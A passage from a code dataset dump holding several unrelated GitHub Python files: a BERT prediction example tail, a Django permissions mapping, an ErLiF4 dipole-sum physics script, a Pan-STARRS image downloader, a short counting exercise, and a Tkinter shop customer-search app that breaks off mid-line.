np.array([[0] * 512])\n\n# predicts = model.predict([np.array([indices]), np.array([segments]), masks])[1]\n# print('%s is random next: ' % sentence_2, bool(np.argmax(predicts, axis=-1)[0]))\n\n# sentence_2 = 'Mathematicians use patterns to formulate new conjectures; they resolve the truth or falsity of conjectures with proof. '\n# print('Tokens:', tokenizer.tokenize(first=sentence_1, second=sentence_2))\n# indices, segments = tokenizer.encode(first=sentence_1, second=sentence_2, max_len=512)\n\n# predicts = model.predict([np.array([indices]), np.array([segments]), masks])[1]\n# print('%s is random next: ' % sentence_2, bool(np.argmax(predicts, axis=-1)[0]))\n","repo_name":"manceps/tfw","sub_path":"examples/muellerbot/load_and_predict.py","file_name":"load_and_predict.py","file_ext":"py","file_size_in_byte":18732,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"15453090434","text":"from .codenames import (\n    account_manager,\n    administration,\n    ae,\n    ae_review,\n    auditor,\n    celery_manager,\n    clinic,\n    data_manager,\n    data_query,\n    everyone,\n    export,\n    lab,\n    lab_view,\n    pharmacy,\n    pii,\n    pii_view,\n    rando,\n    site_data_manager,\n    tmg,\n)\nfrom .group_names import (\n    AE,\n    AE_REVIEW,\n    ACCOUNT_MANAGER,\n    ADMINISTRATION,\n    AUDITOR,\n    CELERY_MANAGER,\n    CLINIC,\n    DATA_MANAGER,\n    DATA_QUERY,\n    EVERYONE,\n    EXPORT,\n    LAB,\n    LAB_VIEW,\n    PHARMACY,\n    PII,\n    PII_VIEW,\n    RANDO,\n    SITE_DATA_MANAGER,\n    TMG,\n)\n\ndefault_codenames_by_group = {\n    AE: ae,\n    AE_REVIEW: ae_review,\n    ACCOUNT_MANAGER: account_manager,\n    ADMINISTRATION: administration,\n    AUDITOR: auditor,\n    CELERY_MANAGER: celery_manager,\n    CLINIC: clinic,\n    DATA_MANAGER: data_manager,\n    DATA_QUERY: data_query,\n    EVERYONE: everyone,\n    EXPORT: export,\n    LAB: lab,\n    LAB_VIEW: lab_view,\n    PHARMACY: pharmacy,\n    PII: pii,\n    PII_VIEW: pii_view,\n    RANDO: rando,\n    SITE_DATA_MANAGER: site_data_manager,\n    TMG: tmg,\n}\n","repo_name":"clinicedc/edc-permissions","sub_path":"edc_permissions/default_codenames_by_group.py","file_name":"default_codenames_by_group.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40620832692","text":"import numpy as np\nimport DipoleLatticeField\nimport pickle\nimport gzip\n\ndef tup_to_array(tup):\n    mat = np.array([[tup[0], tup[1], tup[2]],[tup[3], tup[4], tup[5]],[tup[6], tup[7], tup[8]]])\n    return mat\n\n#Define SI units\npi = np.pi\nmB=9.274*10**(-24)\nk=1.380*10**(-23)\nNA=6.022*10**23\nmu0=4*pi*10**(-7)\n\n\nErLiF4 = DipoleLatticeField.Tetragonal()\nErLiF4.axes(5.162, 10.70)\nErLiF4.g_tensor(8.105, 3.147)\n#Define the ions to be in the bilayered antiferromagnetic ground state, aligned along the x-axis\n#Ion orientation doesn't matter when calculating the dipole tensors\nErLiF4.add_position(0.5, 0.0, 0.00, (0,0,1))\nErLiF4.add_position(0.5, 0.5, 0.25, (0,0,1))\nErLiF4.add_position(0.0, 0.5, 0.50, (0,0,1))\nErLiF4.add_position(0.0, 0.0, 0.75, (0,0,1))\n\ntry:\n    f = gzip.open('ErLiF4_Jmatricies.dat.gz', 'rb')\n    print(\"Loading matricies\")\n    J00mat, J01mat, J02mat, J03mat, J10mat, J11mat, J12mat, J13mat, J20mat, J21mat, J22mat, J23mat, \\\n    J30mat, J31mat, J32mat, J33mat = pickle.load(f)\n    \nexcept FileNotFoundError:\n    print(\"Making matricies\")\n\n    J00 = ErLiF4.J_terms(200,0,0)\n    J01 = ErLiF4.J_terms(200,0,1)\n    J02 = ErLiF4.J_terms(200,0,2)\n    J03 = ErLiF4.J_terms(200,0,3)\n    J10 = ErLiF4.J_terms(200,1,0)\n    J11 = ErLiF4.J_terms(200,1,1)\n    J12 = ErLiF4.J_terms(200,1,2)\n    J13 = ErLiF4.J_terms(200,1,3)\n    J20 = ErLiF4.J_terms(200,2,0)\n    J21 = ErLiF4.J_terms(200,2,1)\n    J22 = ErLiF4.J_terms(200,2,2)\n    J23 = ErLiF4.J_terms(200,2,3)\n    J30 = ErLiF4.J_terms(200,3,0)\n    J31 = ErLiF4.J_terms(200,3,1)\n    J32 = ErLiF4.J_terms(200,3,2)\n    J33 = ErLiF4.J_terms(200,3,3)\n    \n    \n    J00mat = tup_to_array(J00)\n    J01mat = tup_to_array(J01)\n    J02mat = tup_to_array(J02)\n    J03mat = tup_to_array(J03)\n    J10mat = tup_to_array(J10)\n    J11mat = tup_to_array(J11)\n    J12mat = tup_to_array(J12)\n    J13mat = tup_to_array(J13)\n    J20mat = tup_to_array(J20)\n    J21mat = tup_to_array(J21)\n    J22mat = tup_to_array(J22)\n    J23mat = tup_to_array(J23)\n    J30mat = tup_to_array(J30)\n    J31mat = tup_to_array(J31)\n    J32mat = tup_to_array(J32)\n    J33mat = tup_to_array(J33)\n    \n    ELF_Jmats = [ J00mat, J01mat, J02mat, J03mat, J10mat, J11mat, J12mat, J13mat, J20mat, J21mat, J22mat, J23mat, J30mat, J31mat, J32mat, J33mat]\n    pickle.dump(ELF_Jmats, gzip.open('ErLiF4_Jmatricies.dat.gz', 'wb'))\n\n## Jonos test stuff\n\n# Calculate E1 \n \nxhat = np.array([1, 0, 0])\nyhat = np.array([0, 1, 0])\nzhat = np.array([0, 0, 1])\n\nS1 = 0.5*xhat\nS2 = -0.5*xhat\nS3 = -0.5*xhat\nS4 = 0.5*xhat\n\nV = ErLiF4.a[0]*ErLiF4.b[1]*ErLiF4.c[2]*(10**(-10))**3 \nE1 = (-mu0*mB**2)/(8*pi*V)*S1.dot(J00mat.dot(S1) + J01mat.dot(S2) + J02mat.dot(S3) + J03mat.dot(S4))\nprint('E1 = ' + str(E1/k) + ' K')\n","repo_name":"jono-everts/LTJ_dipolesums","sub_path":"ErLiF4_D_terms.py","file_name":"ErLiF4_D_terms.py","file_ext":"py","file_size_in_byte":2701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12818700720","text":"import os\nfrom splinter import Browser\nfrom selenium import webdriver\n\n# open headless browser\n# laptop\n# driver=webdriver.Firefox(executable_path='/Users/jmetzger/anaconda3/bin/geckodriver')\n# des machines\ndriver=webdriver.Firefox(executable_path='/data/des30.a/data/annis/dae-haven/py-lib/lib/python2.7/site-packages/geckodriver/geckodriver')\nbrowser=Browser(headless=True)\n# the geckodriver executable needs to be in the environmental variable $PATH\n# export PATH=$PATH:/data/des30.a/data/annis/dae-haven/py-lib/lib/python2.7/site-packages/geckodriver/\n\n# to decimal degrees\ndef RA_convert(RA):\n    RA=RA.split(':')\n    RA=[float(x) for x in RA]\n    return (RA[0] + RA[1]/60. + RA[2]/3600.)*(360/24.)\n\n# to decimal degrees\ndef DEC_convert(DEC):\n    DEC=DEC.split(':')\n    DEC=[float(x) for x in DEC]\n    if DEC[0]!=0: return (abs(DEC[0]) + DEC[1]/60. + DEC[2]/3600.)*abs(DEC[0])/DEC[0]\n    else: return DEC[1]/60. + DEC[2]/3600.\n\n\n#\n#   Get Panstarrs template image\n#       save template images to new folder\n#\ndef get_template_image(RA,DEC,size,browser,path):\n    #open PS1 query\n    url='http://ps1images.stsci.edu/cgi-bin/ps1cutouts?pos='+str(RA)+'%2C'+str(DEC)+\\\n        '&filter=i&filetypes=stack&auxiliary=data&size='+str(size)+'&output_size=0&verbose=0&autoscale=99.500000&catlist='\n    browser.visit(url)\n    fitsfile=browser.find_link_by_partial_text('FITS-cutout')[0]['href']\n    \n    newfile=fits.open(fitsfile)\n    \n    # write file\n    new_filename=path+'RA'+str(RA)+'_DEC'+str(DEC)+'.fits'\n    try: newfile.writeto(new_filename)\n    except OSError:\n        try:\n            os.remove(new_filename)\n            newfile.writeto(new_filename)\n        except OSError: print('file saving error')\n    return newfile[0].data\n","repo_name":"SSantosLab/EyeOfSauron","sub_path":"ps1.py","file_name":"ps1.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27921751540","text":"entrada = int(input())\nlista = []\ndentro = fora = 0\nfor i in range(0, entrada):\n    lista.append(int(input()))\n    if 10 <= lista[i] <= 20:\n        dentro += 1\n    else:\n        fora += 1\nprint(f\"{dentro} in\")\nprint(f\"{fora} out\")\n","repo_name":"DavidBitner/Aprendizado-Python","sub_path":"Curso/Challenges/URI/1072Interval2.py","file_name":"1072Interval2.py","file_ext":"py","file_size_in_byte":231,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"26476925552","text":"from tkinter import *\r\nfrom tkinter import messagebox\r\n\r\n# Messagebox for closing\r\ndef close():\r\n\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to exit?\") == 'yes':\r\n\t\troot.destroy()\r\n\r\n# Logo\r\ndef logo(scr, cl):\r\n\t# global cv\r\n\tcv = Canvas(scr, width = 1200, height = 200)\r\n\tcv.create_image(70, 75, image = lg)\r\n\tcv.create_text(650, 50, text = \"SHOP BK\", font = (\"MV Boli\", 50), fill = \"blue\")\r\n\tcv.create_text(650, 120, text = \"Best Key for your costumes!\", font = (\"Arial\", 30))\r\n\tcv.create_line(0, 160, 1200, 160, width = 5)\r\n\tcv.create_line(0, 170, 1200, 170, width = 2)\r\n\tcv.grid(row = 0, columnspan = cl)\r\n\r\n###---------------------###\r\n###-------BOSS----------###\r\n###---------------------###\r\n\r\n## CUSTOMER ##\r\ndef customer1(*arg):\r\n\tglobal scr11\r\n\tglobal fr111\r\n\tglobal fr112\r\n\tglobal name_entry11\r\n\tglobal phone_entry11\r\n\tglobal agemin_entry11\r\n\tglobal agemax_entry11\r\n\tglobal gender11\r\n\tglobal rs11\r\n\tglobal icon_name11\r\n\tglobal icon_phone11\r\n\tglobal icon_age11\r\n\tglobal icon_true11\r\n\tglobal icon_false11\r\n\tglobal icon_bg11\r\n\tglobal results11\r\n\tglobal results11_name\r\n\tglobal results11_phone\r\n\tglobal results11_age\r\n\tglobal results11_gender\r\n\tglobal results11_price\r\n\tglobal btn_first11\r\n\tglobal btn_prev11\r\n\tglobal btn_next11\r\n\tglobal btn_end11\r\n\tglobal text_results11\r\n\tglobal back11\r\n\tglobal icon_page11\r\n\r\n\tscr01.withdraw()\r\n\tscr11 = Toplevel(scr01)\r\n\tx0 = scr01.winfo_x()\r\n\ty0 = scr01.winfo_y()\r\n\tscr11.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr11.title(\"Customer\")\r\n\tscr11.resizable(width = False, height = False)\r\n\tscr11.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr11, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr11)\r\n\tfr111 = Frame(fr)\r\n\t# Name\r\n\tLabel(fr111, text = \"Name\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr111).grid(row = 1)\r\n\tname11 = StringVar()\r\n\tname_entry11 = Entry(fr111, textvariable = name11, width = 20, font = 30)\r\n\tname_entry11.grid(row = 0, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# Phone\r\n\tLabel(fr111, text = \"Phone\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr111).grid(row = 3)\r\n\tphone11 = StringVar()\r\n\tphone_entry11 = Entry(fr111, textvariable = phone11, width = 20, font = 30)\r\n\tphone_entry11.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Age\r\n\tLabel(fr111, text = \"Age\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr111).grid(row = 5)\r\n\tagemin11 = StringVar()\r\n\tagemin_entry11 = Entry(fr111, textvariable = agemin11, width = 5, font = 30)\r\n\tagemin_entry11.grid(row = 4, column = 1, sticky = W)\r\n\r\n\tLabel(fr111, text = \"-\", font = (\"Tahoma\", 20)).grid(row = 4, column = 2)\r\n\t\r\n\tagemax11 = StringVar()\r\n\tagemax_entry11 = Entry(fr111, textvariable = agemax11, width = 5, font = 30)\r\n\tagemax_entry11.grid(row = 4, column = 3, sticky = E)\r\n\r\n\t# Gender\r\n\tLabel(fr111, text = \"Gender\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr111).grid(row = 7)\r\n\tgender11 = StringVar()\r\n\tOptionMenu(fr111, gender11, \"All\", \"Male\", \"Female\").grid(row = 6, column = 1, columnspan = 2, sticky = W)\r\n\t# Radiobutton(fr111, text = \"All\", font = 14, variable = gender11, value = 3).grid(row = 6, column = 1, sticky = W)\r\n\t# Radiobutton(fr111, text = \"Male\", font = 14, variable = gender11, value = 1).grid(row = 7, column = 1, sticky = W)\r\n\t# Radiobutton(fr111, text = \"Female\", font = 14, variable = gender11, value = 2).grid(row = 8, column = 1, sticky = W)\r\n\tgender11.set(\"All\")\r\n\r\n\t# Reset\r\n\trs11 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr111, image = rs11, relief = FLAT, command = reset11).grid(row = 9, column = 1, sticky = W)\r\n\t# scr11.bind(\"r\", reset)\r\n\t\r\n\t# SEARCH\r\n\tButton(fr111, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search11).grid(row = 9, column = 2, columnspan = 2, sticky = E)\r\n\tscr11.bind(\"<Return>\", search11)\r\n\tLabel(fr111).grid(row = 10)\r\n\r\n\ttext_results11 = Label(fr111, font = (\"Arial\", 15))\r\n\ttext_results11.grid(row = 11, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback11 = PhotoImage(file = \"left.png\")\r\n\tLabel(fr111).grid(row = 12)\r\n\tButton(fr111, image = back11, relief = FLAT, command = cus2log11).grid(row = 13, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true11 = PhotoImage(file = \"true.png\")\r\n\ticon_false11 = PhotoImage(file = \"false.png\")\r\n\ticon_bg11 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_name11 = Label(fr111, image = icon_bg11)\r\n\ticon_name11.grid(row = 0, column = 4, padx = 20)\r\n\ticon_phone11 = Label(fr111, image = icon_bg11)\r\n\ticon_phone11.grid(row = 2, column = 4, padx = 20)\r\n\ticon_age11 = Label(fr111, image = icon_bg11)\r\n\ticon_age11.grid(row = 4, column = 4, padx = 20)\r\n\r\n\t## Results\r\n\tfr112 = Frame(fr)\r\n\tLabel(fr112, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr112, text = \"Name\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, columnspan = 2, padx = 50)\r\n\tLabel(fr112, text = \"Phone\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, columnspan = 2, padx = 40)\r\n\tLabel(fr112, text = \"Age\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 20)\r\n\tLabel(fr112, text = \"Gen.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\tLabel(fr112, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 12, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults11 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11[i] = Label(fr112, font = (\"Tahoma\", 20))\r\n\t\tresults11[i].grid(row = i, column = 5)\r\n\r\n\t# Name\r\n\tresults11_name = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11_name[i] = Label(fr112, font = (\"Arial\", 15))\r\n\t\tresults11_name[i].grid(row = i, column = 6, columnspan = 2)\r\n\r\n\t# Phone\r\n\tresults11_phone = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11_phone[i] = Label(fr112, font = (\"Arial\", 15))\r\n\t\tresults11_phone[i].grid(row = i, column = 8, columnspan = 2)\r\n\t# Age\r\n\tresults11_age = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11_age[i] = Label(fr112, font = (\"Arial\", 15))\r\n\t\tresults11_age[i].grid(row = i, column = 10)\r\n\r\n\t# Gender\r\n\tresults11_gender = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11_gender[i] = Label(fr112, font = (\"Arial\", 15))\r\n\t\tresults11_gender[i].grid(row = i, column = 11)\r\n\r\n\t# Price\r\n\tresults11_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults11_price[i] = Label(fr112, font = (\"Arial\", 15))\r\n\t\tresults11_price[i].grid(row = i, column = 12)\r\n\r\n\tbtn_first11 = Button(fr112, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first11.grid(row = 11, column = 6)\r\n\tbtn_prev11 = Button(fr112, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev11.grid(row = 11, column = 7)\r\n\tbtn_next11 = Button(fr112, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next11.grid(row = 11, column = 8)\r\n\tbtn_end11 = Button(fr112, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end11.grid(row = 11, column = 9)\r\n\ticon_page11 = Label(fr112, font = (\"Arial\", 15))\r\n\ticon_page11.grid(row = 11, column = 12)\r\n\t\r\n\tfr111.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr112.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef cus2log11():\r\n\tx0 = scr11.winfo_x()\r\n\ty0 = scr11.winfo_y()\r\n\tscr11.destroy()\r\n\tscr01.deiconify()\r\n\tscr01.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset11(*arg):\r\n\tname_entry11.delete(0, END)\r\n\tphone_entry11.delete(0, END)\r\n\tagemin_entry11.delete(0, END)\r\n\tagemax_entry11.delete(0, END)\r\n\tgender11.set(\"All\")\r\n\ticon_name11.configure(image = icon_bg11)\r\n\ticon_phone11.configure(image = icon_bg11)\r\n\ticon_age11.configure(image = icon_bg11)\r\n\ttext_results11.configure(text = \"\")\r\n\tfor i in range(1, 11):\r\n\t\tresults11[i].configure(text = \"\")\r\n\t\tresults11_name[i].configure(text = \"\")\r\n\t\tresults11_phone[i].configure(text = \"\")\r\n\t\tresults11_age[i].configure(text = \"\")\r\n\t\tresults11_gender[i].configure(text = \"\")\r\n\t\tresults11_price[i].configure(text = \"\")\r\n\tbtn_first11.configure(text = \"\", command = donothing)\r\n\tbtn_prev11.configure(text = \"\", command = donothing)\r\n\tbtn_next11.configure(text = \"\", command = donothing)\r\n\tbtn_end11.configure(text = \"\", command = donothing)\r\n\ticon_page11.configure(text = \"\", relief = FLAT)\r\n\r\ndef donothing():\r\n\tpass\r\n\r\ndef search11(*arg):\r\n\tglobal numOfresults11\r\n\tglobal numOfpages11\r\n\tglobal page11\r\n\tglobal name111\r\n\tglobal phone111\r\n\tglobal age111\r\n\tglobal gender111\r\n\tglobal price111\r\n\tname110 = name_entry11.get()\r\n\tphone110 = phone_entry11.get()\r\n\tagemin110 = agemin_entry11.get()\r\n\tagemax110 = agemax_entry11.get()\r\n\tgender110 = gender11.get()\r\n\r\n\t# Check name\r\n\tcheck_name = True\r\n\tname110 = name110.upper()  # Capitalize all letters11 of name\r\n\tfor i in range (0, len(name110)):\r\n\t\tif (ord(name110[i]) != 32) and ((ord(name110[i]) < 65) or (ord(name110[i]) > 90)):\r\n\t\t\tcheck_name = False\r\n\t\r\n\tif check_name:\r\n\t\t# global icon_name11\r\n\t\t# icon_name11.grid_forget()\r\n\t\t# icon_name11 = Label(fr111, image = icon_true11)\r\n\t\t# icon_name11.grid(row = 0, column = 4, padx = 20)\r\n\t\ticon_name11.configure(image = icon_true11)\r\n\telse:\r\n\t\t# icon_name11.grid_forget()\r\n\t\t# icon_name11 = Label(fr111, image = icon_false11)\r\n\t\t# icon_name11.grid(row = 0, column = 4, padx = 20)\r\n\t\ticon_name11.configure(image = icon_false11)\r\n\r\n\t# Check phone\r\n\tcheck_phone = True\r\n\tif phone110 != \"\":\r\n\t\tcheck_phone = phone110.isdigit()\r\n\t\r\n\tif check_phone:\r\n\t\ticon_phone11.configure(image = icon_true11)\r\n\telse:\r\n\t\ticon_phone11.configure(image = icon_false11)\r\n\r\n\t# Check age\r\n\tcheck_age = True\r\n\tif agemin110 != \"\":\r\n\t\tcheck_age = agemin110.isdigit()\r\n\tif agemax110 != \"\":\r\n\t\tcheck_age = agemax110.isdigit()\r\n\tif (agemin110 != \"\") and (agemax110 != \"\"):\r\n\t\tif (agemin110.isdigit() == False) or (agemax110.isdigit() == False):\r\n\t\t\tcheck_age = False\r\n\t\telif int(agemin110) > int(agemax110):\r\n\t\t\tcheck_age = False\r\n\t\r\n\tif check_age:\r\n\t\ticon_age11.configure(image = icon_true11)\r\n\telse:\r\n\t\ticon_age11.configure(image = icon_false11)\r\n\r\n\t# Convert gender\r\n\tif gender110 == \"Male\":\r\n\t\tgender110 = \"M\"\r\n\telif gender110 == \"Female\":\r\n\t\tgender110 = \"F\"\r\n\r\n\t# All checks are true\r\n\tif check_name and check_phone and check_age:\r\n\t\tfile = open(\"customer.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; name111 = []; phone111 = []; age111 = []; gender111 = []; price111 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tname111.append(sub[0].replace(\".\", \" \", 10))\r\n\t\t\tphone111.append(sub[1])\r\n\t\t\tage111.append(sub[2])\r\n\t\t\tgender111.append(sub[3])\r\n\t\t\tprice111.append(sub[4])\r\n\r\n\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\t\tif name110 != \"\":\r\n\t\t\tfor i in range(0, len(name111)):\r\n\t\t\t\tif name111[i].find(name110) != -1:\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\t\t\r\n\t\tif phone110 != \"\":\r\n\t\t\tfor i in range(0, len(phone111)):\r\n\t\t\t\tif phone111[i].find(phone110) != -1:\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\t\t\r\n\t\tif agemin110 != \"\" and agemax110 == \"\":\r\n\t\t\tfor i in range(0, len(age111)):\r\n\t\t\t\tif int(age111[i]) >= int(agemin110):\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\r\n\t\tif agemin110 == \"\" and agemax110 != \"\":\r\n\t\t\tfor i in range(0, len(age111)):\r\n\t\t\t\tif int(age111[i]) <= int(agemax110):\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\r\n\t\tif agemin110 != \"\" and agemax110 != \"\":\r\n\t\t\tfor i in range(0, len(age111)):\r\n\t\t\t\tif int(agemin110) <= int(age111[i]) <= int(agemax110):\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\r\n\t\tif gender110 != \"All\":\r\n\t\t\tfor i in range(0, len(gender111)):\r\n\t\t\t\tif gender111[i] == gender110:\r\n\t\t\t\t\tname2.append(name111[i])\r\n\t\t\t\t\tphone2.append(phone111[i])\r\n\t\t\t\t\tage2.append(age111[i])\r\n\t\t\t\t\tgender2.append(gender111[i])\r\n\t\t\t\t\tprice2.append(price111[i])\r\n\t\t\tname111 = name2; phone111 = phone2; age111 = age2; gender111 = gender2; price111 = price2\r\n\t\t\tname2 = []; phone2 = []; age2 = []; gender2 = []; price2 = []\r\n\r\n\t\t# Sort\r\n\t\tfor i in range(0, len(name111)):\r\n\t\t\tname111[i] = name111[i].lower()\r\n\t\t\tname111[i] = name111[i].title()\r\n\t\t\tprice111[i] = int(price111[i])\r\n\r\n\t\tname111 = [x for _, x in sorted(zip(price111, name111))]; name111.reverse()\r\n\t\tphone111 = [x for _, x in sorted(zip(price111, phone111))]; phone111.reverse()\r\n\t\tage111 = [x for _, x in sorted(zip(price111, age111))]; age111.reverse()\r\n\t\tgender111 = [x for _, x in sorted(zip(price111, gender111))]; gender111.reverse()\r\n\t\tprice111.sort(reverse = True)\r\n\t\tfor i in range(0, len(price111)):\r\n\t\t\tprice111[i] = str(price111[i])\r\n\r\n\t\t# Show\r\n\t\tnumOfresults11 = len(name111)\r\n\t\tif (numOfresults11 == 0) or (numOfresults11 == 1):\r\n\t\t\ttext_results11.configure(text = \"%d result found\" %numOfresults11)\r\n\t\telse:\r\n\t\t\ttext_results11.configure(text = \"%d results found\" %numOfresults11)\r\n\r\n\t\tif numOfresults11 != 0:\r\n\t\t\tnumOfpages11 = ((numOfresults11 - 1) // 10) + 1\r\n\t\t\tbtn_first11.configure(text = \"1\", command = first11)\r\n\t\t\tbtn_prev11.configure(text = \"<\", command = prev11)\r\n\t\t\tbtn_next11.configure(text = \">\", command = next11)\r\n\t\t\tbtn_end11.configure(text = \"End\", command = end11)\r\n\t\t\tpage11 = 1\r\n\t\t\tshowResults11(page11)\r\n\telse:\r\n\t\ttext_results11.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults11[i].configure(text = \"\")\r\n\t\t\tresults11_name[i].configure(text = \"\")\r\n\t\t\tresults11_phone[i].configure(text = \"\")\r\n\t\t\tresults11_age[i].configure(text = \"\")\r\n\t\t\tresults11_gender[i].configure(text = \"\")\r\n\t\t\tresults11_price[i].configure(text = \"\")\r\n\t\tbtn_first11.configure(text = \"\", command = donothing)\r\n\t\tbtn_prev11.configure(text = \"\", command = donothing)\r\n\t\tbtn_next11.configure(text = \"\", command = donothing)\r\n\t\tbtn_end11.configure(text = \"\", command = donothing)\r\n\t\ticon_page11.configure(text = \"\", relief = FLAT)\r\n\r\ndef showResults11(index):\r\n\ticon_page11.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages11:\r\n\t\tfor i in range(1, numOfresults11 - 10*(numOfpages11 - 1) + 1):\r\n\t\t\tresults11[i].configure(text = 10*(numOfpages11 - 1) + i)\r\n\t\t\tresults11_name[i].configure(text = name111[10*(numOfpages11 - 1) + i - 1])\r\n\t\t\tresults11_phone[i].configure(text = phone111[10*(numOfpages11 - 1) + i - 1])\r\n\t\t\tresults11_age[i].configure(text = age111[10*(numOfpages11 - 1) + i - 1])\r\n\t\t\tresults11_gender[i].configure(text = gender111[10*(numOfpages11 - 1) + i - 1])\r\n\t\t\tresults11_price[i].configure(text = price111[10*(numOfpages11 - 1) + i - 1])\r\n\t\tif (numOfresults11 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults11 % 10) + 1, 11):\r\n\t\t\t\tresults11[i].configure(text = \"\")\r\n\t\t\t\tresults11_name[i].configure(text = \"\")\r\n\t\t\t\tresults11_phone[i].configure(text = \"\")\r\n\t\t\t\tresults11_age[i].configure(text = \"\")\r\n\t\t\t\tresults11_gender[i].configure(text = \"\")\r\n\t\t\t\tresults11_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults11[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults11_name[j].configure(text = name111[10*(index - 1) + j - 1])\r\n\t\t\tresults11_phone[j].configure(text = phone111[10*(index - 1) + j - 1])\r\n\t\t\tresults11_age[j].configure(text = 